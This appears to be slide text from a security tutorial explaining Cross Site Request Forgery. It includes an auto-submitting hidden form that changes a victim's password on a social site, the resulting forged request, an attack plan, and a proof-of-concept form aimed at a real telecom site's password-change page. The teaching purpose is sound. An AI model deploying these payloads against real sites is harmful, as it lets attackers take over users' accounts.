

CSRF

Cross Site Request Forgery

WTF is "CSRF"?

hacker.site/1.html

```
<body onload="document.forms[0].submit()">  
<form method="GET" action="//social.net/settings">  
<input name="type" value="password">  
<input name="pass" value="qwerty123">  
</form>  
...
```



```
GET /settings?type=password&pass=qwerty123 HTTP/1.1  
Host: social.net  
Cookie: username=user1; ...  
...
```

CSRF attack plan

- Server has no unique tokens per request/user/session and no "referrer" checks
- Create form with filled inputs and auto submit
- Gives the link to the authenticated user
- He opens the link, submits a form and a browser make crafted by hacker request

CSRF example

Real-life example. CSRF in password change processing

The image shows a browser window with the URL `https://my.yota.ru/selfcare/setPassword` and a code editor window displaying a malicious HTML payload. The browser window shows the Yota logo and the heading "Изменение пароля" (Change password). Below the heading, there is a message: "Для вашей безопасности измените пароль для входа" (For your security, change the password for login). There are two input fields: "Новый пароль" (New password) and "Подтверждение пароля" (Confirm password). A "Сохранить" (Save) button is visible below the input fields.

```
1 <html>
2 <body>
3 <form action="https://my.yota.ru/selfcare/setPassword" method="POST">
4 <input type="hidden" name="password" value="_new_password_" />
5 <input type="hidden" name="pconfirm" value="_new_password_" />
6 <input type="submit" value="Submit request" />
7 </form>
8 </body>
9 </html>
```

3 selection regions Tab Size: 4 HTML